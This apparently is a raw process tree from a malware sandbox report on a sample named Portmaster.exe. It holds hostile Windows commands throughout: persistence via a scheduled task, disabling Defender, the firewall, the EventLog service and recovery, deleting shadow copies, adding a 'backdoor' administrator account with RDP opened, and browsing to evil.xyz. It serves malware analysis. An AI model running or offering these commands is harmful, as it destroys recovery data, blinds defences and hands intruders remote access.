C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 19085⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7560 -s 5044⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://evil.xyz/4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x304,0x7ff96ad7c188,0x7ff96ad7c194,0x7ff96ad7c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1908,i,14966499986843735382,12294257339467701791,524288 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1752,i,928925128900689545,6659308425051722721,262144 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=uk --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2276,i,14602247636694910847,16003905691407695730,524288 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3388,i,9665668586411883201,11611622626043414320,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3404,i,11575418947830548201,4521200916029474192,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4136,i,11165160726625839268,6608712554940227332,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4664,i,7082047354485935604,6077737348768618233,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5324,i,12542194808914381576,5102933984714520143,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:15⤵
-
-
